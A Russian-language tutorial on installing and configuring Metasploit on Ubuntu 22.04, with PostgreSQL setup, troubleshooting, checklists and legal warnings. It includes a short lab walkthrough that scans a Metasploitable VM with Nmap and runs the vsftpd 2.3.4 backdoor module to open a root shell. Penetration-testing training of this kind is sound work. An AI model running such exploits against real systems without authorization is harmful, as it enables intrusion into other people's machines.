Установка и базовая проверка Metasploit на Ubuntu 22.04
- Этот пошаговый гид показывает три способа установки Metasploit на Ubuntu 22.04: Nightly-установщик, сборка из исходников и установка .deb-пакета. Включены проверка подключения к базе данных, запуск консоли, базовые команды и пример эксплуатации тестовой машины Metasploitable.
- Перед началом подготовьте обновлённую систему, не-root пользователя с sudo и минимум 4 ГБ ОЗУ. Тестируйте только в разрешённой среде.
Важно: используйте Metasploit только для легитимного тестирования собственных систем или по письменному разрешению владельца целевой инфраструктуры.
Введение

Как сетевой администратор или тестировщик на проникновение, важно быстро обнаруживать уязвимости и как можно скорее устанавливать исправления. Metasploit — это фреймворк с открытым исходным кодом, который помогает находить и эксплуатировать уязвимости в системах, сетях и приложениях. Он позволяет имитировать реальные атаки и проверять защищённость вашей организации. Metasploit содержит множество готовых модулей и даёт возможность писать свои.
В этом руководстве вы узнаете, как установить Metasploit на Ubuntu 22.04 и выполнить базовые тесты.
Кому это нужно
- Сетевые администраторы, отвечающие за безопасность инфраструктуры.
- Пентестеры, которым нужна локальная установка Metasploit для тестов.
- Инженеры SOC/IR, желающие воспроизвести атаки и исследовать инциденты.
Краткое определение: Metasploit — фреймворк для разработки, тестирования и выполнения эксплойтов и вспомогательных модулей в целях проверки безопасности.
Основные варианты установки (обзор)
- Nightly-установщик: быстрый, автоматический — подходит для большинства пользователей.
- Сборка из исходников: гибкость и контроль версий, требует настройки Ruby/OpenSSL/PostgreSQL.
- Установка .deb из APT-репозитория Rapid7: удобно для системного управления с APT.
Пререквизиты
- Ubuntu 22.04 с минимум 4 ГБ ОЗУ.
- Неразрешённый пользователь с правами sudo.
- UFW (uncomplicated firewall) включён и настроен по необходимости.
- Система обновлена:
$ sudo apt update && sudo apt upgrade - Установлены базовые пакеты:
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -yНекоторые пакеты могут уже присутствовать на вашей системе.
Шаг 1 — Установка Nmap
Metasploit часто использует Nmap для сканирования. Установим пакет из репозитория Ubuntu:
$ sudo apt install -y nmapЗамечание: Nmap встраивается в многие рабочие процессы Metasploit, поэтому установите его заранее.
Шаг 2 — Установка Metasploit через Nightly Installer
Это самый простой способ получить рабочую установку с Ruby и PostgreSQL, интегрированную через APT.
Создайте временную директорию и перейдите в неё:
$ mkdir msf-install && cd ./msf-installСкачайте скрипт установщика и переименуйте его в msfinstall:
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallСделайте скрипт исполняемым:
$ chmod 755 msfinstallЗапустите установку:
$ sudo ./msfinstallСкрипт импортирует ключ подписи, добавит репозиторий в /etc/apt/sources.list.d/, затем установит пакет Metasploit через APT и настроит PATH.
Запустите консоль Metasploit:
$ cd ~
$ msfconsoleПри первом запуске мастер предложит создать базу данных. Введите y и нажмите Enter — это создаст базу в ~/.msf4/db.
Пример вывода инициализации базы данных:
Welcome to Metasploit Framework Initial Setup
Please answer a few questions to get started.
Would you like to use and setup a new database (recommended)? y
Далее вы увидите логи создания базы и сообщение об успешной инициализации.
Наконец, консоль Metasploit:
msf6 >
Проверьте статус базы данных:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.Выход:
msf6 > exitШаг 3 — Установка Metasploit из исходников
Этот путь даёт максимальный контроль, но требует ручной настройки Ruby, OpenSSL и PostgreSQL.
Установка зависимостей
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-devУстановите Git, если ещё не установлен:
$ sudo apt install -y gitУстановка PostgreSQL
Ubuntu 22.04 поставляется с PostgreSQL 14:
$ sudo apt install -y postgresql postgresql-contribПроверка статуса службы:
$ sudo systemctl status postgresqlОжидаемый фрагмент вывода:
? postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 5984 (code=exited, status=0/SUCCESS)
CPU: 1ms
Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.Конфигурация PostgreSQL
Переключитесь на пользователя postgres:
$ sudo -i -u postgresСоздайте роль для Metasploit (msfuser) — вас попросят задать пароль:
$ createuser msfuser -S -R -PСоздайте базу msfdb и назначьте владельца msfuser:
$ createdb msfdb -O msfuserВыйдите из-под postgres:
$ exitОтредактируйте /etc/postgresql/14/main/pg_hba.conf и добавьте строку для md5-подключений к базе msfdb:
....
host all all 127.0.0.1/32 scram-sha-256
host "msfdb" "msfuser" 127.0.0.1/32 md5Сохраните файл.
Установка RVM и Ruby
Metasploit требует Ruby 3.0.5. Ubuntu 22.04 использует OpenSSL 3, а Ruby 3.0.x совместим с OpenSSL 1.1, поэтому нужно собрать OpenSSL 1.1 локально и использовать его при сборке Ruby.
Импортируйте ключ RVM:
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDBСкачайте скрипт установки RVM и установите стабильную версию:
$ \curl -sSL https://get.rvm.io -o rvm.sh
$ cat rvm.sh | bash -s stable
$ source ~/.rvm/scripts/rvmСкачивание Metasploit из GitHub
$ cd ~
$ git clone https://github.com/rapid7/metasploit-framework.git
$ cd metasploit-frameworkФайл .ruby-version обычно указывает требуемую версию:
$ cat .ruby-version
3.0.5Сборка OpenSSL 1.1 и установка Ruby с ним
Скачайте OpenSSL 1.1 (проверьте последнюю минорную версию на сайте OpenSSL):
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
$ tar zxf openssl-1.1.1w.tar.gz
$ cd openssl-1.1.1w
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
$ make
$ make tests
$ make install
$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certsВернитесь в директорию Metasploit и установите Ruby 3.0.5 с указанием собранного OpenSSL:
$ cd ~/metasploit-framework
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1wУстановка может потребовать дополнительных пакетов; RVM подскажет, что нужно.
Установка Gems и запуск Metasploit
$ cd ~/metasploit-framework
$ gem install bundler
$ bundle install
$ ./msfconsole
Проверка статуса базы данных (может быть «no connection» до подключения):
msf6 > db_status
[*] postgresql selected, no connectionПодключитесь к базе:
msf6 > db_connect msfuser:[email protected]:5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.Сохранение настроек базы данных
Создайте файл ~/.msf4/database.yml и добавьте:
production:
adapter: postgresql
database: msfdb
username: msfuser
password: [PASSWORD]
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5Перезапустите консоль и проверьте db_status — подключение должно сохраняться.
Шаг 4 — Установка Metasploit через бинарный .deb пакет
Скачайте .deb из репозитория APT Rapid7. Пример (версия в момент написания):
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
$ msfconsoleЕсли необходима дополнительная настройка базы — действуйте по описанным выше шагам.
Шаг 5 — Базовое тестирование Metasploit
Для тихой загрузки консоли используйте -q:
$ msfconsole -q
msf6 >Список команд:
msf6 > helpЧтобы вывести список эксплойтов:
msf6 > show exploits
Информация о модуле (пример):
msf6 > info exploit/aix/local/xorg_x11_serverВывод показывает: имя, модуль, платформу, архитектуру, рейтинг, дату раскрытия, описание и параметры.
Пример: сканирование и эксплуатация Metasploitable
Для обучающих целей используйте Metasploitable 2/3 — специально уязвимую виртуальную машину.
Сканирование Nmap внутри консоли Metasploit:
msf6 > nmap -sV 192.168.31.36Пример вывода Nmap (фрагмент):
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
... (усечено)По результатам сканирования можно искать подходящий модуль:
msf6 > search vsftpdВыберите модуль и настройте параметры, например RHOSTS:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploitУспешный результат может выглядеть так:
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530Проверка вывода команд на целевой машине, например ifconfig, покажет адреса сети цели.
Шаг 6 — Обновление Metasploit
Если вы устанавливали через Nightly или .deb, выполните:
$ sudo msfupdateAPT-репозиторий также обновляет пакет при sudo apt update && sudo apt upgrade.
Если вы устанавливали из исходников, используйте:
$ cd ~/metasploit-framework
$ git config --global user.name "YourName"
$ git config --global user.email "[email protected]"
$ ./msfupdateДля автоматизации добавьте cron-задание, например запуск /home/ в 01:00 ежедневно:
0 1 * * * /home//metasploit-framework/msfupdate > /dev/null 2>&1 Шаг 7 — Удаление Metasploit
Если установка через APT или Nightly:
$ sudo apt autoremove --purge metasploit-frameworkЕсли установка из исходников и RVM, выполните команды очистки:
$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gemОтредактируйте файлы окружения (~/.bashrc, ~/.bash_profile, ~/.profile), удалите добавленные строки RVM и перезагрузите конфигурацию:
$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profileУдалите директории Metasploit и конфигурации пользователя и при необходимости PostgreSQL и локально собранный OpenSSL:
$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4
$ sudo apt autoremove --purge postgresql postgresql-contrib
$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gzКритерии приёмки
- msfconsole запускается без ошибок.
db_statusотображает подключение к PostgreSQL (Connected to msfdb).- Команда
show exploitsвозвращает список модулей. - Примерный эксплойт на тестовой VM удачно открывает сессию (только если у вас разрешено тестирование).
Примеры отказов и когда установка может не сработать
- Ruby не собирается из-за несовместимости OpenSSL 3: нужно собирать OpenSSL 1.1 и указывать путь при установке Ruby.
- Нехватка прав или отсутствующий sudo у пользователя: используйте пользователя с sudo.
- Порт PostgreSQL занят или неправильно настроен pg_hba.conf: проверьте конфигурацию и логи
/var/log/postgresql. - Блокировка со стороны локального фаервола или SELinux/AppArmor (AppArmor в Ubuntu может требовать правок).
Быстрые советы по устранению неполадок
- Проверяйте логи msf и PostgreSQL.
- Убедитесь, что PATH содержит путь к msfconsole (особенно после установки Nightly).
- Для ошибок bundler — запустите
bundle installв каталогеmetasploit-framework. - При проблемах с RVM перезапустите shell и проверьте
rvm list.
Рекомендации по безопасности и соответствию
Важно: Metasploit — мощный инструмент. Не используйте его против чужих систем без разрешения. Для компаний:
- Включите запись действий и логирование во время тестов.
- Ограничьте доступ к установке и данным
~/.msf4через права файловой системы. - Используйте изолированные лаборатории (виртуальные сети) для тестов.
Юридическая заметка: тестирование без согласия может нарушать закон.
Рекомендации по эксплуатации и чек-листы
Чек-лист администратора перед развертыванием:
- Обновлённая Ubuntu 22.04 и резервные копии.
- Пользователь с sudo и отдельно выделённый тестовый аккаунт.
- Рабочая PostgreSQL и резервные копии баз данных.
- [ ] Ограничение доступа к
msfconsoleпо сети (firewall). - Журналирование и мониторинг действий.
Чек-лист пентестера перед тестом:
- Получено письменное разрешение на тестирование.
- Подготовлена изолированная тестовая сеть и цель (Metasploitable).
- Записано базовое состояние целевых хостов (снимки VM).
- План отката и контакты для экстренной связи.
Чек-лист инженера безопасности SOC:
- Мониторы IDS/IPS настроены на оповещение о подозрительной активности.
- Логи Metasploit и систем собраны в SIEM.
- Политика реагирования на инциденты актуальна.
Мини-методология тестирования уязвимостей
- Сканирование сети (Nmap) и инвентаризация сервисов.
- Поиск потенциальных эксплойтов (
search+ документация модуля). - Условное тестирование на нерабочей копии (Metasploitable), фиксация результатов.
- Создание рекомендаций по исправлению (патч, конфигурация, сегментация).
- Валидация исправлений повторным сканированием.
Матрица совместимости и примечания
- Ubuntu 22.04: рабочая платформа, требует OpenSSL 1.1 для Ruby 3.0.x при сборке из исходников.
- Ruby: Metasploit обычно требует конкретной версии (например 3.0.5) — проверяйте
.ruby-version. - PostgreSQL: поддерживаемые версии в 22.04 — PostgreSQL 14.
- RVM vs системный Ruby: RVM предоставляет управление версиями и изоляцию, но требует очистки при удалении.
Матрица рисков и рекомендации по снижению
| Риск | Вероятность | Влияние | Митигирующие меры |
|---|---|---|---|
| Неправомерное тестирование | Средняя | Высокое | Письменное разрешение, аудит тестов |
| Повреждение данных в процессе тестов | Низкая | Высокое | Использование тестовой среды, снимков VM |
| Уязвимость в установленных компонентах | Средняя | Среднее | Ограничение доступа, обновления, мониторинг |
Короткая инструкция по откату (runbook)
- Остановите консоль Metasploit и все активные сессии.
- Удалите или восстановите изменённые файлы конфигурации и базы данных из резервной копии.
- Возвратите систему к моментальному снимку VM (если использовался).
- Убедитесь, что службы PostgreSQL и системные сервисы работают.
Глоссарий в одну строку
- Эксплойт: код или модуль, использующий уязвимость для выполнения действий.
- Модуль auxiliary: вспомогательный модуль (сканеры, фингеры и т. п.).
- Payload: полезная нагрузка, выполняемая после успешного эксплойта.
- RHOSTS/RPORT: адреса и порты удалённых хостов.
Контрольные тесты и критерии приёмки
- Инсталляция:
msfconsoleзапускается без ошибок. - База:
db_statusпоказывает подключение. - Сканирование:
nmap -sVиз msf выполняется и возвращает список портов. - Модуль:
use exploit/...загружается,show optionsпоказывает требуемые параметры.
Заключение
Руководство описывает три пути установки Metasploit на Ubuntu 22.04, настройку базы данных PostgreSQL, сборку Ruby с OpenSSL 1.1, базовое использование и пример эксплуатации учебной VM. Следуйте чек-листам и соблюдайте юридические и этические нормы при тестировании.
Если остались вопросы — опишите окружение и шаги, и мы поможем с диагностикой.
Сводка
- Устанавливайте Nmap предварительно.
- Для простоты используйте Nightly-установщик или .deb-пакет.
- Для полной гибкости собирайте из исходников и применяйте локальный OpenSSL 1.1.
- Тестируйте только в разрешённой среде и ведите логирование.
Похожие материалы
Несколько аккаунтов Skype: Multi Skype Launcher
Журнал для работы: повысить продуктивность
Персональные звуки уведомлений на Android
Скачивание шоу Hulu для офлайн‑просмотра
Microsoft Start: персонализированная новостная лента